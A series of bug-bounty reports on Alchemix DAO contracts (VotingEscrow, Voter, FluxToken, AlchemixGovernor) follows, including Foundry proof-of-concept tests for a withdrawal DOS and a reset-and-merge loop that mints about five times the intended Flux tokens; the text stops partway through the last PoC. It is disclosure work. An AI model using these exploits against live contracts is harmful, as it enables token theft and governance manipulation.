The `merge()` function: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L618>

The `burn()` function: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1558>

The `_isApprovedOrOwner()` function: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L826>

## Proof of Concept

Paste the following code into `Voting.t.sol` file:

```solidity
    function testMergeClaimsLost() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, 156 days, false);
        uint256 tokenId2 = createVeAlcx(admin, TOKEN_1, 156 days, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
        //voter.distribute();

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        hevm.prank(admin);
        voter.vote(tokenId2, pools, weights, 0);

        //console.log("Bribe lastEarned: ", )
        uint256 adminBribesToken1;
        uint256 adminBribesToken2;

        hevm.warp(block.timestamp + 6 days);

        // epoch 2
        hevm.warp(block.timestamp + nextEpoch);
        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
        voter.distribute();
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);
        hevm.prank(admin);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.warp(block.timestamp + nextEpoch);

        hevm.prank(admin);
        voter.reset(tokenId1);
        hevm.prank(admin);
        voter.reset(tokenId2);

        // accrued bribes for both of our tokens
        adminBribesToken1 = IBribe(bribeAddress).earned(bal, tokenId1);
        adminBribesToken2 = IBribe(bribeAddress).earned(bal, tokenId2);
        console.log("[admin] earned bribes before merge on tokenId1: %d", adminBribesToken1);
        console.log("[admin] earned bribes before merge on tokenId2: %d", adminBribesToken2);

        // we are merging tokenId1 -> tokenId2
        hevm.prank(admin);
        veALCX.merge(tokenId1, tokenId2);

        // we can claim on tokenId2, but that's just half of what we own.
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId2);

        // claim on the old token fails
        hevm.expectRevert();
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);

        console.log("[admin] total bribes claimed: %d", ERC20(bal).balanceOf(admin));
    }
```


# 30921 - \[SC - Low] Referential assignment causes incorrect block i...

Submitted on May 8th 2024 at 07:08:16 UTC by @NinetyNineCrits for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30921

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

Due to referential assignment of struct variables, the block interpolation is done incorrectly. Since the blocknumbers of that struct are currently not used this does not have a direct impact, beyond storing incorrect values (which may cause issues on future use)

## Vulnerability Details

The `VotingEscrow._checkpoint` function does this assignment:

```solidity
Point memory initialLastPoint = lastPoint;
```

This behaves like references in other languages such as Java, where if you manipulate a property on either variables, you would change the data on the underlying instance and both variables would then use the new value. A minimal foundry test to showcase this:

```solidity
struct TestStruct {
    uint256 a;
    uint256 b;
}

function testReference() public {
    TestStruct memory testStruct = TestStruct(1, 2);
    TestStruct memory testStructReference = testStruct;

    testStruct.a = 3;
    console2.log("testStructReference.a", testStructReference.a); //@note prints 3
}
```

The same thing happens in `_checkpoint` where `lastPoint.ts` is changed and `initialLastPoint.ts` then uses that value:

```solidity
lastPoint.ts = _time;
lastPoint.blk = initialLastPoint.blk + (blockSlope * (_time - initialLastPoint.ts)) / MULTIPLIER;
```

The term `_time - initialLastPoint.ts` will now always be 0 and `lastPoint.blk` always be calculated incorrectly (at least if `_checkpoint` has not been called for more than a week).

A POC that logs the resulting values:

```js
// tested on fork number 19771835
function testMinhCheckpointing() public {
    uint256 week = 1 weeks;
    uint256 blocksPerWeek = 7*24*60*5; //@note assuming 1 block per 12 secs

    veALCX.checkpoint();

    vm.warp(block.timestamp + 3 * week);
    vm.roll(block.number + 3 * blocksPerWeek);

    veALCX.checkpoint();

    console2.log("point.blk for epoch 2:", veALCX.getPointHistory(2).blk);
    console2.log("point.blk for epoch 3:", veALCX.getPointHistory(3).blk);
    console2.log("point.blk for epoch 4:", veALCX.getPointHistory(4).blk);
    console2.log("point.blk for epoch 5:", veALCX.getPointHistory(5).blk);
}
```

This will log the following:

```
  point.blk for epoch 2: 19771835
  point.blk for epoch 3: 19771835
  point.blk for epoch 4: 19771835
  point.blk for epoch 5: 19923035
```

Note how the `blk` value only changes on the last iteration.

## Impact Details

As mentioned in the intro for now the impact is limited to incorrect calculations and storage of the result. The `blk` field is currently not in use, but is referenced in the unused `_findBlockEpoch` method, which would be affected on future use.

## Recommendation

Direct assignment doesnt copy, thats why Velodrome creates a new struct object explicitly:

```solidity
GlobalPoint memory initialLastPoint = GlobalPoint({
    bias: lastPoint.bias,
    slope: lastPoint.slope,
    ts: lastPoint.ts,
    blk: lastPoint.blk,
    permanentLockBalance: lastPoint.permanentLockBalance
});
```

## References

None

## Proof of Concept

Same test as in the description:

```js
// tested on fork number 19771835
function testMinhCheckpointing() public {
    uint256 week = 1 weeks;
    uint256 blocksPerWeek = 7*24*60*5; //@note assuming 1 block per 12 secs

    veALCX.checkpoint();

    vm.warp(block.timestamp + 3 * week);
    vm.roll(block.number + 3 * blocksPerWeek);

    veALCX.checkpoint();

    console2.log("point.blk for epoch 2:", veALCX.getPointHistory(2).blk);
    console2.log("point.blk for epoch 3:", veALCX.getPointHistory(3).blk);
    console2.log("point.blk for epoch 4:", veALCX.getPointHistory(4).blk);
    console2.log("point.blk for epoch 5:", veALCX.getPointHistory(5).blk);
}
```


# 30922 - \[SC - High] DOS of withdrawals through filling the userPoin...

Submitted on May 8th 2024 at 07:48:35 UTC by @NinetyNineCrits for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30922

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

While not very feasible, it is technically possible to DOS withdraws associated with a tokenId, by doing a large amount of deposits for said tokenId.

## Vulnerability Details

Unlike Velodrome, every `_checkpoint` call with an associated tokenId writes a new userPoint:

```solidity
    uint256 userEpoch = userPointEpoch[_tokenId] + 1;

    userPointEpoch[_tokenId] = userEpoch;
    newPoint.ts = block.timestamp;
    newPoint.blk = block.number;
    userPointHistory[_tokenId][userEpoch] = newPoint;
```

This opens up the door to a DOS, as the number of possible user points is limited:

```solidity
mapping(uint256 => Point[1000000000]) public userPointHistory;
```

Any user can invoke `_checkpoint` for any tokenId by using `depositFor`.

Naturally 1 Billion is a very large number that somewhats limits the feasability and likelihood of this attack (but does not mean a billion transactions need to be made, as the deposits could be looped through a contract). Even though the impact could be categorized as a `permanent freeze`, the limitations do not justify a higher severity than medium imo, hence `griefing` seems to be the appropriate impact.

## Impact Details

DOS of any tokenId, but associated with very high costs of attack.

## Recommendations

Consider going back to Velodromes approach of accounting, which limits the addition of points to 1 per block:

```solidity
uint256 userEpoch = userPointEpoch[_tokenId];
if (userEpoch != 0 && _userPointHistory[_tokenId][userEpoch].ts == block.timestamp) {
    _userPointHistory[_tokenId][userEpoch] = uNew;
} else {
    userPointEpoch[_tokenId] = ++userEpoch;
    _userPointHistory[_tokenId][userEpoch] = uNew;
}
```

This would also add a time constraint on the attack, which would require 380 years, assuming a a block each 12 seconds.

## Proof of Concept

```solidity
    //@note requires modifying `mapping(uint256 => Point[1000000000]) public userPointHistory;` in VotingEscrow to a size of 5
    function testMinhDOSWithdraw() public {
        address user = address(0x12345);
        address attacker = address(0x6789);
        deal(bpt, user, 10e18);
        deal(bpt, attacker, 10);

        hevm.startPrank(user);
        IERC20(bpt).approve(address(veALCX), 10e18);
        uint256 tokenId = veALCX.createLock(10e18, 2 weeks, false);
        hevm.stopPrank();

        hevm.startPrank(attacker);
        IERC20(bpt).approve(address(veALCX), 10);
        veALCX.depositFor(tokenId, 1);
        veALCX.depositFor(tokenId, 1);
        veALCX.depositFor(tokenId, 1);
        hevm.stopPrank();

        hevm.warp(block.timestamp + 2 weeks);

        hevm.startPrank(user);
        veALCX.startCooldown(tokenId);

        hevm.warp(block.timestamp + 2 weeks);

        veALCX.withdraw(tokenId);
    }
```

This test will revert on the `withdraw` call with:

```solidity
[FAIL. Reason: Index out of bounds]
```


# 30925 - \[SC - Critical] Manipulation of governance voting result by unl...

## Manipulation of governance voting result by unlimited minting the Flux Token by exploiting the logic of reset and merge tokenId

Submitted on May 8th 2024 at 11:09:39 UTC by @perseverance for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30925

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

### Description

## Description

### Brief/Intro

Flux token implements a standard ERC20 token with extra features. Flux tokens are accrued by users of VotingEscrow when voting in the contract Voter. Flux tokens can be used to: i) exit a ve-position early by paying a penalty fee when calling function startCooldown, ii) boost voting power of a NFT holder in contract Voter, or iii) as a normal ERC20 token that can be traded in other systems.

So Flux tokens can be used to boost the voting power of a NFT holder. It is shown in the code of vote() function as below.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L228C5-L233C6>

```solidity
function vote(
        uint256 _tokenId,
        address[] calldata _poolVote,
        uint256[] calldata _weights,
        uint256 _boost
    ) external onlyNewEpoch(_tokenId) { {

        // redacted for simplicity

    }
    _vote(_tokenId, _poolVote, _weights, _boost);

```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L412-L455>

```solidity
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        
        
        // redacted for simplicity

        IFluxToken(FLUX).accrueFlux(_tokenId);
        uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);

    
        // redacted for simplicity
       
        // Update flux balance of token if boost was used
        if (_boost > 0) {
            IFluxToken(FLUX).updateFlux(_tokenId, _boost);
        }
    }
```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L195-L199>

```solidity
    function updateFlux(uint256 _tokenId, uint256 _amount) external {
        require(msg.sender == voter, "not voter");
        require(_amount <= unclaimedFlux[_tokenId], "not enough flux");
        unclaimedFlux[_tokenId] -= _amount;
    }

```

So users can boost the voting power up to unclaimedFlux of the tokenId.

The unclaimedFlux\[\_tokenId] is updated in the function accrueFlux()

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L188C5-L192C6>

```solidity
function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L377-L385>

```solidity
function claimableFlux(uint256 _tokenId) public view returns (uint256) {
        // If the lock is expired, no flux is claimable at the current epoch
        if (block.timestamp > locked[_tokenId].end) {
            return 0;
        }

        // Amount of flux claimable is <fluxPerVeALCX> percent of the balance
        return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
    }
```

So according to the design of the Alchemix DAO system, if an user have a locked tokenID then with balanceA then the user can get maximum Fluxtoken for 1 epoch is

```solidity
    _balanceOfTokenAt(_tokenId, block.timestamp)* fluxPerVeALCX) / BPS 
```

### The vulnerability

#### Vulnerability Details

Now an attacker can mint the several times bigger than the amount of Flux Token for 1 epoch intended by Alchemix by the using the same amount of capital.

So if an user have locked 10 \* 10 \*\* 18 BPT token for 2 weeks, then the maximal amount of flux tokens can be claimed is:

216\_214\_167\_934\_958\_887 = 216 \* 10 \*\* 15 Flux token.

This amount here is just an example.

Attacker can manipulate the system to mint several times to receive about more this amount in 1 epoch. I can demonstrate in the POC, the attacker was able to mint 5 times of the intended amount.

The amount can be minted

```
1189_177_923_641_421_562 = 1189 * 10 ** 15 Flux token
```

By doing so, the attacker can use the Flux token as boost to manipulate the governance voting result by calling the Vote() in Voter contract. Or the attacker can use the unclaimed Flux to mint Flux token.

How to accomplish the exploit of minting?

With an capital (for example 10 \* 10 \*\* 18) The attacker can mint 10 tokenIDs with each lock 10\*\*18 of BPT

The attacker can call the function reset() and merge()

```solidity
        uint index = 0; 
        uint count = 9; 
        uint256 tokenId1; 
        uint256 tokenId2; 
        
        uint256 unclaimedFlux; 

            tokenId1 = createVeAlcx(attacker, TOKEN_1, 2 weeks, false);
          
        for (index = 0; index < count; ++index )
        {   
            console2.log("index: %s", index);
            console2.log("Call voter.reset(tokenId1)"); 
            voter.reset(tokenId1);
            unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
            console2.log("unclaimedFlux of tokenId1: %s", unclaimedFlux);
            console2.log("Call  veALCX.merge() to merge tokenId"); 
            tokenId2 = createVeAlcx(attacker, TOKEN_1, 2 weeks, false);
            veALCX.merge(tokenId1, tokenId2);
            tokenId1 =  tokenId2 ; 
        
        }
        
        voter.reset(tokenId1);
```

Why this is possible?

Step 1: Attacker call reset(tokenId1)

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L183C5-L192C6>

```solidity
    /// @inheritdoc IVoter
    function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        lastVoted[_tokenId] = block.timestamp;
        _reset(_tokenId);
        IVotingEscrow(veALCX).abstain(_tokenId);
        IFluxToken(FLUX).accrueFlux(_tokenId);
    }
```

Since the attacker is the owner of tokenId so this is normal. This call will call accrueFlux function to update the unclaimedFlux for the tokenId.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L188C5-L192C6>

```solidity
function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
```

Now this tokenId1 has the balanceTokenId1 => unclaimedFlux\[\_tokenId] += balanceTokenId1 \* K

K is explained above.

Step 2: Attacker call function to merge the tokenId1 with tokenId2

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L618C5-L651C6>

```solidity
function merge(uint256 _from, uint256 _to) external {
        
        // redacted for simplicity

        uint256 value0 = uint256(_locked0.amount);

        // redacted for simplicity

        IFluxToken(FLUX).mergeFlux(_from, _to);

        // redacted for simplicity
        _burn(_from, value0);
        _depositFor(_to, value0, end, _locked1.maxLockEnabled, _locked1, DepositType.MERGE_TYPE);
    }

```

In function mergeFlux, the unclaimedFlux of tokenId1 is added to unclaimedFlux of tokenId2

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L180C5-L185C6>

```solidity
function mergeFlux(uint256 _fromTokenId, uint256 _toTokenId) external {
        require(msg.sender == veALCX, "not veALCX");

        unclaimedFlux[_toTokenId] += unclaimedFlux[_fromTokenId];
        unclaimedFlux[_fromTokenId] = 0;
    }

```

You notice that the balance of tokenId2 is also added with balance of tokenId1 in the \_depositFor

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L1331>

```solidity
    _locked.amount += _value;
```

So now if the attacker call reset(tokenId2) to accrue the unclaimFlux

The unclaimFlux will be

```
  unclaimedFlux[tokenId2] += unclaimedFlux[tokenId1] +  balanceTokenId2 * K = balanceTokenId1 * K + (balanceTokenId1 + balanceTokenId2) * K = 3 * balanceTokenId1 

```

So you can see that after first loop, the unclaimedFlux is increased abnormally.

By repeating this loop, the attacker will be able to get several times bigger amount of Flux token. In the POC, I demontrated that the attacker can get 5 times bigger by repeating this loop 9 times.

## Impacts

## About the severity assessment

The impact is that the attacker will be able to exploit the system to get several times bigger Flux token for the same capital. For example, in the POC, the attacker can get 5 times bigger with the same capital.

Since the Flux tokens can be used to boost the Voting power in Vote function, the the boost can manipulate the governance voting result. The attacker can also mint Flux token to get benefit as the Flux token can be traded for other assets as stated by the protocol document.

The severity: Critial

Category:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Unauthorized or malicious minting of Flux token

Capital for the attack: Gas to execute the transactions. Amount of BPT can be big, the the bigger amount of Flux tokens can be minted, manipulated.

Easy to exploit and easy to be automated.

### Proof of concept

## Proof of concept

The POC code:

```solidity
function testFluxAccrualUnlimited_Hacked() public {
        
        address attacker = address(this); 

        console2.log("Start to create 4 tokenIds by calling createLock with _maxLockEnabled is false and value is 1e18 BPT");

        uint index = 0; 
        uint count = 9; 
        uint256 tokenId1; 
        uint256 tokenId2; 
        
        uint256 unclaimedFlux; 

            tokenId1 = createVeAlcx(attacker, TOKEN_1, 2 weeks, false);
          
        for (index = 0; index < count; ++index )
        {   
            console2.log("index: %s", index);
            console2.log("Call voter.reset(tokenId1)"); 
            voter.reset(tokenId1);
            unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
            console2.log("unclaimedFlux of tokenId1: %s", unclaimedFlux);
            console2.log("Call  veALCX.merge() to merge tokenId"); 
            tokenId2 = createVeAlcx(attacker, TOKEN_1, 2 weeks, false);
            veALCX.merge(tokenId1, tokenId2);
            tokenId1 =  tokenId2 ; 
        
        }
        
        voter.reset(tokenId1);
        
        IVotingEscrow_1.LockedBalance memory _lock = IVotingEscrow_1(address(veALCX)).locked(tokenId1);
               
        console2.log("LockedBalance of tokenId1 lock.amount: %s  ", _lock.amount);
        console2.log("LockedBalance of tokenId1 _lock.end: %s  ", _lock.end);  
        console2.log("LockedBalance of tokenId1 _lock.cooldown: %s  ", _lock.end); 
        console2.log("LockedBalance of tokenId1 _lock.maxLockEnabled: %s  ", _lock.maxLockEnabled); 
        
        unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
        console2.log("unclaimedFlux of tokenId1: %s", unclaimedFlux);
        
        console2.log("After having unclaimFlux, attacker can use to boost voting power or mint Flux token"); 

        console2.log("Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
        console2.log("Call unclaimedFlux to mint Flux token for the attacker"); 
        flux.claimFlux(tokenId1,unclaimedFlux); 
        console2.log("After claiming: Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
       
    }
```

In this POC, I use 10 \* 10\*\*18 BPT token. The attacker create 10 tokenIds and repeately call reset(tokenId) and merge

The log shows:

```
[PASS] testFluxAccrualUnlimited_Hacked() (gas: 9917085)
Logs:
  Start to create 4 tokenIds by calling createLock with _maxLockEnabled is false and value is 1e18 BPT
  index: 0
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 21621416793325425
  Call  veALCX.merge() to merge tokenId
  index: 1
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 64864250380317202
  Call  veALCX.merge() to merge tokenId
  index: 2
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 129728500760634405
  Call  veALCX.merge() to merge tokenId
  index: 3
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 216214167934617960
  Call  veALCX.merge() to merge tokenId
  index: 4
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 324321251901926940
  Call  veALCX.merge() to merge tokenId
  index: 5
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 454049752662902272
  Call  veALCX.merge() to merge tokenId
  index: 6
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 605399670217203030
  Call  veALCX.merge() to merge tokenId
  index: 7
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 778371004565170140
  Call  veALCX.merge() to merge tokenId
  index: 8
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 972963755706462675
  Call  veALCX.merge() to merge tokenId
  LockedBalance of tokenId1 lock.amount: 10000000000000000000  
  LockedBalance of tokenId1 _lock.end: 1715817600  
  LockedBalance of tokenId1 _lock.cooldown: 1715817600  
  LockedBalance of tokenId1 _lock.maxLockEnabled: false  
  unclaimedFlux of tokenId1: 1189177923641421562
  After having unclaimFlux, attacker can use to boost voting power or mint Flux token
  Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 1189177923641421562

```

So at the end of the attack: the attacker still have a tokenId with amount: 10000000000000000000 = 10 \*\* 18 Lock duration: 2 weeks.

So the attacker still can withdraw his capital of BPT token as normal.

The unclaimedFlux of tokenId1: 1189177923641421562

I also created the normal scenario where a user lock 10 \*\* 10\*\*18 BPT token.

```solidity
function testFluxAccrualUnlimited_Normal() public {
        
        address attacker = address(this); 
        console2.log("Start to createLock with _maxLockEnabled is false and value is 1e18 BPT");

        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 2 weeks, false);
                
        IVotingEscrow_1.LockedBalance memory _lock = IVotingEscrow_1(address(veALCX)).locked(tokenId1);
        console2.log("LockedBalance of tokenId1 lock.amount: %s  ", _lock.amount);
        console2.log("LockedBalance of tokenId1 _lock.end: %s  ", _lock.end);  
        console2.log("LockedBalance of tokenId1 _lock.cooldown: %s  ", _lock.end); 
        console2.log("LockedBalance of tokenId1 _lock.maxLockEnabled: %s  ", _lock.maxLockEnabled); 
        
        console2.log("Call voter.reset(tokenId1)");          
        voter.reset(tokenId1);
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
        console2.log("unclaimedFlux1: %s", unclaimedFlux);

        console2.log("After having unclaimFlux, attacker can use to boost voting power or mint Flux token"); 

        console2.log("Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
        console2.log("Call unclaimedFlux to mint Flux token for the attacker"); 
        flux.claimFlux(tokenId1,unclaimedFlux); 
        console2.log("After claiming: Flux token balance of the attacker: %s",flux.balanceOf(attacker));
        
        uint256 maxVotePower = voter.maxVotingPower(tokenId1);     
        console2.log("maxVotingPower of tokenId1 : %s  ", maxVotePower);         

    }
```

The log of this test case shows:

```

[PASS] testFluxAccrualUnlimited_Normal() (gas: 1310425)
Logs:
  Start to createLock with _maxLockEnabled is false and value is 1e18 BPT
  LockedBalance of tokenId1 lock.amount: 10000000000000000000  
  LockedBalance of tokenId1 _lock.end: 1715817600  
  LockedBalance of tokenId1 _lock.cooldown: 1715817600  
  LockedBalance of tokenId1 _lock.maxLockEnabled: false  
  Call voter.reset(tokenId1)
  unclaimedFlux1: 216214167934958887
  After having unclaimFlux, attacker can use to boost voting power or mint Flux token
  Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 216214167934958887
  maxVotingPower of tokenId1 : 864856671739835550  


```

So the unclaimedFlux1 of the tokenID1 is 216214167934958887

To compare, the attacker get 5 times bigger

```
1189177923641421562 /  216214167934958887 = 5 
```

So attacker can use the gained Flux token to boost the voting power. In this POC, I demonstrated that the attacker can mint Flux token.

```
   Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 1189177923641421562

```

To run the test Copy the test code into the file:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/VotingEscrow.t.sol>

and run the test command for the function in the alchemix-v2-dao folder:

```
FOUNDRY_PROFILE=default forge test --fork-url https://rpc.ankr.com/eth --match-path src/test/VotingEscrow.t.sol 
--match-test testFluxAccrualUnlimited  --fork-block-number 19822400 -vv > testFluxAccrualUnlimited_240508_0920.log

```

The full log:

```
Ran 2 tests for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testFluxAccrualUnlimited_Hacked() (gas: 9917085)
Logs:
  Start to create 4 tokenIds by calling createLock with _maxLockEnabled is false and value is 1e18 BPT
  index: 0
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 21621416793325425
  Call  veALCX.merge() to merge tokenId
  index: 1
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 64864250380317202
  Call  veALCX.merge() to merge tokenId
  index: 2
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 129728500760634405
  Call  veALCX.merge() to merge tokenId
  index: 3
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 216214167934617960
  Call  veALCX.merge() to merge tokenId
  index: 4
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 324321251901926940
  Call  veALCX.merge() to merge tokenId
  index: 5
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 454049752662902272
  Call  veALCX.merge() to merge tokenId
  index: 6
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 605399670217203030
  Call  veALCX.merge() to merge tokenId
  index: 7
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 778371004565170140
  Call  veALCX.merge() to merge tokenId
  index: 8
  Call voter.reset(tokenId1)
  unclaimedFlux of tokenId1: 972963755706462675
  Call  veALCX.merge() to merge tokenId
  LockedBalance of tokenId1 lock.amount: 10000000000000000000  
  LockedBalance of tokenId1 _lock.end: 1715817600  
  LockedBalance of tokenId1 _lock.cooldown: 1715817600  
  LockedBalance of tokenId1 _lock.maxLockEnabled: false  
  unclaimedFlux of tokenId1: 1189177923641421562
  After having unclaimFlux, attacker can use to boost voting power or mint Flux token
  Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 1189177923641421562

[PASS] testFluxAccrualUnlimited_Normal() (gas: 1310425)
Logs:
  Start to createLock with _maxLockEnabled is false and value is 1e18 BPT
  LockedBalance of tokenId1 lock.amount: 10000000000000000000  
  LockedBalance of tokenId1 _lock.end: 1715817600  
  LockedBalance of tokenId1 _lock.cooldown: 1715817600  
  LockedBalance of tokenId1 _lock.maxLockEnabled: false  
  Call voter.reset(tokenId1)
  unclaimedFlux1: 216214167934958887
  After having unclaimFlux, attacker can use to boost voting power or mint Flux token
  Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 216214167934958887
  maxVotingPower of tokenId1 : 864856671739835550  

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 28.29ms (27.57ms CPU time)

Ran 1 test suite in 694.91ms (28.29ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
```

The full log file with debug: <https://drive.google.com/file/d/1Zo\\_Osm4rcdqRBumhmvloZdqdzDuCU24f/view?usp=sharing>


# 30926 - \[SC - Low] AlchemixGovernor updates to quorum can affect p...

Submitted on May 8th 2024 at 13:10:54 UTC by @Lastc0de for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30926

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

In governance, there are usually proposals that for some reason (such as lack of quorum, and the number of votes ) defetated. This issue concerns instances of Governor that use the module `GovernorVotesQuorumFraction` In your protocol it is known as L2GovernorVotesQuorumFraction :

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/governance/L2GovernorVotesQuorumFraction.sol>

GovernorVotesQuorumFraction: Combines with GovernorVotes to set the quorum as a fraction of the total token supply. AlchemixGovernor inherits this module

```
contract AlchemixGovernor is L2Governor, L2GovernorVotes, L2GovernorVotesQuorumFraction /* @AUDIT */, L2GovernorCountingSimple
```

So this make vulnerable AlchemixGovernor contract.

If this report is unclear to you, refer to the reference link

## Vulnerability Details

Vulnerable contract is `AlchemixGovernor.sol` && `L2GovernorVotesQuorumFraction.sol`

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/governance/L2GovernorVotesQuorumFraction.sol>

Vulnerable function is `quorum()` :

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2GovernorVotesQuorumFraction.sol#L49C1-L51C6>

```
    function quorum(uint256 blockTimestamp) public view virtual override returns (uint256) {
        return (token.getPastTotalSupply(blockTimestamp) * quorumNumerator()) / quorumDenominator();
    }
```

The `token.getPastTotalSupply(blockNumber)` call will not be optimized the same way and, A mechanism that determines quorum requirements as a percentage of the voting token's total supply. when a proposal is passed to lower the quorum requirement, past proposals may become executable if they had been defeated only due to lack of quorum, and the number of votes it received meets the new quorum requirement.

## Impact Details

Past proposals may become executable if they had been defeated only due to lack of quorum, and the number of votes it received meets the new quorum requirement.

## References

<https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-xrc4-737v-9q75>

<https://docs.openzeppelin.com/contracts/4.x/api/governance>

## Proof of Concept

* To manually prank the executer and call a function with `onlyGovernance` modifier we need add calldata to queue:

1- Add the following function ro `L2Governor.sol` file

```
        function pushCalldata(bytes calldata hash) public {
        _governanceCall.pushBack(keccak256(hash));
    }
```

2- Add following function to `AlchemixGovernor.t.sol` file

```
function test_Execute_Defeated_Proposal_After_Update_Quorum() public {
    // Random users
        address jimmy = 0xc8dF939C61A33Aa83435bddcE76e6179f4653302;
    address sara = 0x72414Fe88759857e69797B4558a1f1475F32A462;
   
        createVeAlcx(sara, 5000e18, MAXTIME, false);
